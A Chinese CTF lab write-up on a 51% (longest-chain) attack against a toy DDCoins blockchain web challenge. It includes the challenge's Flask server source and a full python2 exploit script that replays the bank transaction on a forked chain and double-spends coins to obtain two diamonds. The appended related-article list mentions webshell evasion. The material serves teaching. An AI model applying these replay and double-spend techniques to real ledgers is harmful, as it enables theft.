某60区块链安全之51%攻击实战学习记录

区块链安全

文章目录

  • 区块链安全
  • 51%攻击实战
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 攻击过程


51%攻击实战

实验目的

1.理解并掌握区块链基本概念及区块链原理
2.理解区块链分又问题
3.理解掌握区块链51%算力攻击原理与利用
4.找到题目漏洞进行分析并形成利用

实验环境

1.Ubuntu18.04操作机

实验工具

  1. python2

实验原理

1.在比特币网络里,你有多少钱,不是你说了算,而是大家说了算,每个人都是公证人。
2基于算力证明进行维护的比特而网络一直以来有一个重大的理论风险:如果有人掌握了巨大的计算资源超过全网过半的算力),他就可以通过强大的算力幕改区块链上的账本,从而控制整个共识网络,这也被称为51%攻击。
3虽然这种攻击发生的可能性不是很大掌握这种算力的人本身就可以通过挖矿获得大受益,再去冒险算改账本很容易暴露自身)。仍然是理论上看: 一旦这种攻击被发现,比特币网络其他终端可以联合起来对已知的区块链进行硬分叉,全体否认非法的交易。
实验内容1.某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成石的销售与清算过程。不幸的是,该银行被黑客入侵,私钢被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?2区块链是存在cokie里的,可能会因为区块链太长,浏览器不接受服务器返回的set-okie字段而导致区块链无法更新,因此强烈推荐写脚本发请求
3.实验地址为 http://ip:10000/b942f830cf97e ,详细见附件

攻击过程

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

serve.py文件内容如下

# -*- encoding: utf-8 -*-
# written in python 2.7import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, requestapp = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b942f830cf97e'def FLAG():return 'Here is your flag: flag{******************}'def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def has_attrs(d, attrs):if type(d) != type({}): raise Exception("Input should be a dict/JSON")for attr in attrs:if attr not in d:raise Exception("{} should be presented in the input".format(attr))EMPTY_HASH = '0'*64def addr_to_pubkey(address):return rsa.PublicKey(int(address, 16), 65537)def pubkey_to_address(pubkey):assert pubkey.e == 65537hexed = hex(pubkey.n)if hexed.endswith('L'): hexed = hexed[:-1]if hexed.startswith('0x'): hexed = hexed[2:]return hexeddef gen_addr_key_pair():pubkey, privkey = rsa.newkeys(384)return pubkey_to_address(pubkey), privkeybank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()def sign_input_utxo(input_utxo_id, privkey):return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}tx['hash'] = hash_tx(tx)return txdef hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return blockdef find_blockchain_tail():return max(session['blocks'].values(), key=lambda block: block['height'])def calculate_utxo(blockchain_tail):curr_block = blockchain_tailblockchain = [curr_block]while curr_block['hash'] != session['genesis_block_hash']:curr_block = session['blocks'][curr_block['prev']]blockchain.append(curr_block)blockchain = blockchain[::-1]utxos = {}for block in blockchain:for tx in block['transactions']:for input_utxo_id in tx['input']:del utxos[input_utxo_id]for utxo in tx['output']:utxos[utxo['id']] = utxoreturn utxosdef calculate_balance(utxos):balance = {bank_address: 0, hacker_address: 0, shop_address: 0}for utxo in utxos.values():if utxo['addr'] not in balance:balance[utxo['addr']] = 0balance[utxo['addr']] += utxo['amount']return balancedef verify_utxo_signature(address, utxo_id, signature):try:return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))except:return Falsedef append_block(block, difficulty=int('f'*64, 16)):has_attrs(block, ['prev', 'nonce', 'transactions'])if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])if block['prev'] not in session['blocks']: raise Exception("unknown parent block")tail = session['blocks'][block['prev']]utxos = calculate_utxo(tail)if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')new_utxo_ids = set()for tx in block['transactions']:has_attrs(tx, ['input', 'output', 'signature'])for utxo in tx['output']:has_attrs(utxo, ['amount', 'addr', 'id'])if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))new_utxo_ids.add(utxo['id'])if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")try:addr_to_pubkey(utxo['addr'])except:raise Exception("invalid type of address({})".format(utxo['addr']))utxo['hash'] = hash_utxo(utxo)tot_output = sum([utxo['amount'] for utxo in tx['output']])if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")tot_input = 0tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]for utxo_id, signature in zip(tx['input'], tx['signature']):if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))utxo = utxos[utxo_id]if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")if not verify_utxo_signature(utxo['addr'], utxo_id, signature):raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))tot_input += utxo['amount']del utxos[utxo_id]if tot_output > tot_input:raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))tx['hash'] = hash_tx(tx)block = create_block(block['prev'], block['nonce'], block['transactions'])block_hash = int(block['hash'], 16)if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')block['height'] = tail['height']+1if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')session['blocks'][block['hash']] = blocksession.modified = Truedef init():if 'blocks' not in session:session['blocks'] = {}session['your_diamonds'] = 0# First, the bank issued some DDCoins ...total_currency_issued = create_output_utxo(bank_address, 1000000)genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothinggenesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])session['genesis_block_hash'] = genesis_block['hash']genesis_block['height'] = 0session['blocks'][genesis_block['hash']] = genesis_block# Then, the bank was hacked by the hacker ...handout = create_output_utxo(hacker_address, 999999)reserved = create_output_utxo(bank_address, 1)transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])append_block(second_block)# Can you buy 2 diamonds using all DDCoins?third_block = create_block(second_block['hash'], 'a empty block', [])append_block(third_block)def get_balance_of_all():init()tail = find_blockchain_tail()utxos = calculate_utxo(tail)return calculate_balance(utxos), utxos, tail@app.route(url_prefix+'/')
def homepage():announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. 'balance, utxos, _ = get_balance_of_all()genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_addressbalance_info = 'Balance of all addresses: ' + json.dumps(balance)utxo_info = 'All utxos: ' + json.dumps(utxos)blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])view_source_code_link = "<a href='source_code'>View source code</a>"return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))@app.route(url_prefix+'/flag')
def getFlag():init()if session['your_diamonds'] >= 2: return FLAG()return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_addressdef find_enough_utxos(utxos, addr_from, amount):collected = []for utxo in utxos.values():if utxo['addr'] == addr_from:amount -= utxo['amount']collected.append(utxo['id'])if amount <= 0: return collected, -amountraise Exception('no enough DDCoins in ' + addr_from)def transfer(utxos, addr_from, addr_to, amount, privkey):input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)outputs = [create_output_utxo(addr_to, amount)]if the_change != 0:outputs.append(create_output_utxo(addr_from, the_change))return create_tx(input_utxo_ids, outputs, privkey)@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):balance, utxos, tail = get_balance_of_all()if balance[bank_address] == 0: return 'The bank has no money now.'try:address = str(address)addr_to_pubkey(address) # to check if it is a valid addresstransferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])append_block(new_block)return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + addressexcept Exception, e:return 'ERROR: ' + str(e)DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():init()try:block = json.loads(request.data)append_block(block, DIFFICULTY)msg = 'transaction finished.'except Exception, e:return str(e)balance, utxos, tail = get_balance_of_all()if balance[shop_address] == 1000000:# when 1000000 DDCoins are received, the shop will give you a diamondsession['your_diamonds'] += 1# and immediately the shop will store the money somewhere safe.transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])append_block(new_block)msg += ' You receive a diamond.'return msg# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():if 'blocks' in session: del session['blocks']if 'genesis_block_hash' in session: del session['genesis_block_hash']return 'reset.'@app.route(url_prefix+'/source_code')
def show_source_code():source = open('serve.py', 'r')html = ''for line in source:html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')source.close()return htmlif __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

在这里插入图片描述

在这里插入图片描述

使用python2编写自动化脚本实现上述过程:当POST第三个空块时,主链改变,黑客提走的钱被追回,通过转账后门与POST触发新增两个区块,总长为六块;接上第三个空块,POST到第六个空块时,主链再次改变,钱又重新回到银行,再次利用后门得到钻石(将url_prefix中的IP地址换成题目的IP地址)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

exp.py

import requests, json, hashlib, rsaEMPTY_HASH = '0'*64def pubkey_to_address(pubkey):assert pubkey.e == 65537hexed = hex(pubkey.n)if hexed.endswith('L'): hexed = hexed[:-1]if hexed.startswith('0x'): hexed = hexed[2:]return hexeddef gen_addr_key_pair():pubkey, privkey = rsa.newkeys(384)return pubkey_to_address(pubkey), privkeydef sign_input_utxo(input_utxo_id, privkey):return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}tx['hash'] = hash_tx(tx)return tx# -------------- code copied from server.py END ------------def create_output_utxo(addr_to, amount):utxo = {'id': 'my_recycled_utxo', 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef create_block_with_PoW(prev_block_hash, transactions, difficulty, nonce_prefix='nonce-'):nonce_str = 0while True:nonce_str += 1nonce = nonce_prefix + str(nonce_str)block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)if int(block['hash'], 16) &lt; difficulty: return blockurl_prefix = 'http://192.168.2.100:10000/b942f830cf97e'
s = requests.session()
my_address, my_privkey = gen_addr_key_pair()
print 'my address:', my_addressdef append_block(block):print '[APPEND]', s.post(url_prefix+'/create_transaction', data=json.dumps(block)).textdef show_blockchain():print s.get(url_prefix+'/').text.replace('&lt;br /&gt;','')blocks = json.loads(s.get(url_prefix+'/').text.split('Blockchain Explorer: ')[1]).values()
genesis_block = filter(lambda i: i['height'] == 0, blocks)[0]# replay attack
attacked_block = filter(lambda i: i['height'] == 1, blocks)[0]
replayed_tx = attacked_block['transactions'][0]
replayed_tx['output'] = [create_output_utxo(my_address, 1000000)]
replayed_tx['hash'] = hash_tx(replayed_tx)DIFFICULTY = int('00000' + 'f' * 59, 16)
forked_block = create_block_with_PoW(genesis_block['hash'], [replayed_tx], DIFFICULTY)
append_block(forked_block)# generate 2 empty blocks behind to make sure our forked chain is the longest blockchain
prev = forked_block['hash']
for i in xrange(2):empty_block = create_block_with_PoW(prev, [], DIFFICULTY)prev = empty_block['hash']append_block(empty_block)show_blockchain()
print 'replay done. ------------------ '# now we have 1000000 DDCoins, transfer to the shop to buy diamond
shop_address = s.get(url_prefix+'/flag').text.split('1000000 DDCoins to ')[1]
output_to_shop = create_output_utxo(shop_address, 1000000)
utxo_to_double_spend = replayed_tx['output'][0]['id']
tx_to_shop = create_tx([utxo_to_double_spend], [output_to_shop], my_privkey)
new_block = create_block_with_PoW(prev, [tx_to_shop], DIFFICULTY)
append_block(new_block)# now we have 1 diamond and 0 DDCoin, we should double spend the "utxo_to_double_spend" by forking the blockchain again
new_block = create_block_with_PoW(prev, [tx_to_shop], DIFFICULTY, 'another-chain-nonce-')
append_block(new_block)
# append another 2 empty blocks to make sure this is the longest blockchain
prev = new_block['hash']
for i in xrange(2):empty_block = create_block_with_PoW(prev, [], DIFFICULTY)prev = empty_block['hash']append_block(empty_block)
# and the shop receive 1000000 DDCoins in this newly-forked blockchain... we have got another diamondshow_blockchain()
print '===================='
print s.get(url_prefix+'/flag').text

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/199684.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于RK3588全高端智能终端机器人主板

一、小尺寸板型设计 该款主板为小型板&#xff0c;尺寸仅为125*85mm&#xff0c;更小更紧凑&#xff0c;可完美适应各类高端智能自助终端&#xff1b; 二、八核高端处理器 采用RK3588S八核64位处理器&#xff0c;8nm LP制程&#xff0c;主频最高达2.4GHz&#xff0c;搭载Andr…

解决requests 2.28.x版本SSL错误:证书验证失败

1、问题背景 在使用requests 2.28.1版本时&#xff0c;我进行HTTP post传输报告负载时&#xff0c;由于SSL验证设置为True&#xff0c;请求失败&#xff0c;错误如下&#xff1a;(Caused by SSLError(SSLCertVerificationError(1, ‘[SSL: CERTIFICATE_VERIFY_FAILED] certifi…

对OpenAI CEO奥特曼突然被解雇事件的一些分析

今天也来凑个热闹&#xff0c;说说OpenAI的事。本来不想写的&#xff0c;但是看到自媒体又开始胡说八道&#xff0c;所以根据我自己得到的消息和理解说一说我的看法&#xff0c;这篇文章要是有个小姐姐解说录成视频&#xff0c;那肯定火了&#xff0c;但是我现在没资源&#xf…

Oauth2认证及Spring Security Oauth2授权码模式

Oauth2认证 Oauth2简介 简介 第三方认证技术方案最主要是解决认证协议的通用标准问题&#xff0c;因为要实现跨系统认证&#xff0c;各系统之间要遵循一定的接口协议。 OAUTH协议为用户资源的授权提供了一个安全的、开放而又简易的标准。同时&#xff0c;任何第三方都可以使…

本地/笔记本/纯 cpu 部署、使用类 gpt 大模型

文章目录 1. 安装 web UI1.1. 下载代码库1.2. 创建 conda 环境1.3. 安装 pytorch1.4. 安装 pip 库 2. 下载大模型3. 使用 web UI3.1. 运行 UI 界面3.2. 加载模型3.3. 进行对话 使用 web UI 大模型文件&#xff0c;即可在笔记本上部署、使用类 gpt 大模型。 1. 安装 web UI 1…

php一句话木马免杀

php一句话木马免杀 针对于php一句话木马做免杀&#xff1a; 利用php动态函数的特性&#xff0c;将危险函数拆分成字符&#xff0c;最终使用字符串拼接的方式&#xff0c;然后重新拼接&#xff0c;后加括号执行代码&#xff0c;并且可以使用花指令进行包装&#xff0c;如无限i…

C++ DAY06 c++多态

简介 一个事物的多种形态 , 简称多态 物的多态 同一个人在不同人面前展现是不同的 如 : 在我面前 在对象面前 在朋友面前 在父母面前 事的多态 吃饭 中国人 筷子 熟食 美国人 刀叉 7 分熟 日本人 筷子 生食 印度人 手 睡觉 中国人 床上 日本人 榻榻米 侧卧 平躺…

【U8+】用友U8账套引入/还原,提示:逻辑文件‘UFModel’不是数据库的一部分。

【问题描述】 用友U8+账套引入(恢复账套)的时候,提示: 逻辑文件‘UFModel’不是数据库‘UFDATA_001_2015’的一部分。 请使用RESTORE FILELISTONLY来列出逻辑文件名。-2147217900 【解决方法】 查看用友U8+账套库正确的逻辑名称为【UFMODEL】和【UFMODEL_log】。 【案例…

​分享mfc140u.dll丢失的解决方法,针对原因解决mfc140u.dll丢失的问题

作为电脑小白&#xff0c;如果电脑中出现了mfc140u.dll丢失的问题&#xff0c;肯定会比较的慌乱。但是出现mfc140u.dll丢失的问题&#xff0c;其实也有很简单的办法&#xff0c;所以大家不用慌张&#xff0c;接下来就教大家解决办法&#xff0c;能够有效的解决mfc140u.dll丢失的…

MFC 对话框

目录 一、对话款基本认识 二、对话框项目创建 三、控件操作 四、对话框创建和显示 模态对话框 非模态对话框 五、动态创建按钮 六、访问控件 控件添加控制变量 访问对话框 操作对话框 SendMessage() 七、对话框伸缩功能实现 八、对话框小项目-逃跑按钮 九、小项…

C#中的is和as的使用和区别

目录 概述一、is操作符1. is操作符的语法2. is操作符的用途3. is操作符的使用示例4. is操作符与typeof操作符的区别 二、as操作符1. as操作符的语法2. as操作符的用途3. as操作符的使用示例4. as操作符与is操作符的区别和联系5. as操作符与is操作符的区别总结 概述 在C#编程语…

探寻欧洲市场的机遇:深度剖析欧洲跨境电商

随着全球化的不断推进&#xff0c;欧洲作为一个经济发达、多元文化共存的大陆&#xff0c;成为跨境电商发展的重要目标。本文将深入剖析欧洲跨境电商的机遇&#xff0c;分析欧洲市场的特点、挑战与前景&#xff0c;为企业提供在这个充满潜力的市场中蓬勃发展的指导。 欧洲市场的…

【前端学java】java中的Object类(8)

往期回顾&#xff1a; 【前端学java】JAVA开发的依赖安装与环境配置 &#xff08;0&#xff09;【前端学 java】java的基础语法&#xff08;1&#xff09;【前端学java】JAVA中的packge与import&#xff08;2&#xff09;【前端学java】面向对象编程基础-类的使用 &#xff08…

YOLOv8-Seg改进:位置信息的轴线压缩增强注意力Sea_Attention| ICLR2023 SeaFormer,轻量级语义分割算法,复旦大学和腾讯

🚀🚀🚀本文改进:位置信息的轴线压缩增强注意力Sea_Attention,一方面将QKV特征进行轴线压缩后再注意力增强,另一方面将QKV特征使用卷积网络提升局部信息,最后将二者融合,输出增强特征 🚀🚀🚀Sea_Attention小目标分割首选,暴力涨点 🚀🚀🚀YOLOv8-seg创新…

LeetCode【76】最小覆盖子串

题目&#xff1a; 思路&#xff1a; https://segmentfault.com/a/1190000021815411 代码&#xff1a; public String minWindow(String s, String t) { Map<Character, Integer> map new HashMap<>();//遍历字符串 t&#xff0c;初始化每个字母的次数for (int…

redis 非关系型数据库

redis 非关系型数据库&#xff0c;缓存型数据库。 关系型数据库和非关系型数据库的区别 关系型数据库是一个机构化的数据库&#xff0c;行和列。 列&#xff1a;声明对象 行&#xff1a;记录对象属性。 表与表之间是有关联&#xff0c;使用sql语句&#xff0c;来对指定的表…

【Linux】指令详解(二)

目录 1. 前言2. 重新认识指令2.1 指令的本质2.1.1 which2.1.2 alias 3. 常见指令3.1 whoami3.2 cd3.2.1 cd -3.2.2 cd ~ 3.3 touch3.3.1 文件创建时间 3.4 stat3.5 mkdir3.5.1 创建一个目录3.5.2 创建路径 3.6 tree3.7 rm3.7.1 rm -f3.7.2 rm -r 3.8 man3.9 cp3.10 mv 1. 前言 …

键盘快捷键工具Keyboard Maestro mac中文版介绍

Keyboard Maestro mac是一款键盘快捷键工具&#xff0c;它可以帮助用户通过自定义快捷键来快速完成各种操作&#xff0c;提高工作效率。Keyboard Maestro支持多种快捷键组合&#xff0c;包括单键、双键、三键、四键组合等&#xff0c;用户可以根据自己的习惯进行设置。此外&…

扩散模型实战(十):Stable Diffusion文本条件生成图像大模型

推荐阅读列表&#xff1a; 扩散模型实战&#xff08;一&#xff09;&#xff1a;基本原理介绍 扩散模型实战&#xff08;二&#xff09;&#xff1a;扩散模型的发展 扩散模型实战&#xff08;三&#xff09;&#xff1a;扩散模型的应用 扩散模型实战&#xff08;四&#xff…

【智能家居】5、主流程设计以及外设框架编写与测试

目录 一、主流程设计 1、工厂模式结构体定义 &#xff08;1&#xff09;指令工厂 inputCmd.h &#xff08;2&#xff09;外设工厂 controlDevices.h 二、外设框架编写 1、创建外设工厂对象bathroomLight 2、编写相关函数框架 3、将浴室灯相关操作插入外设工厂链表等待被调…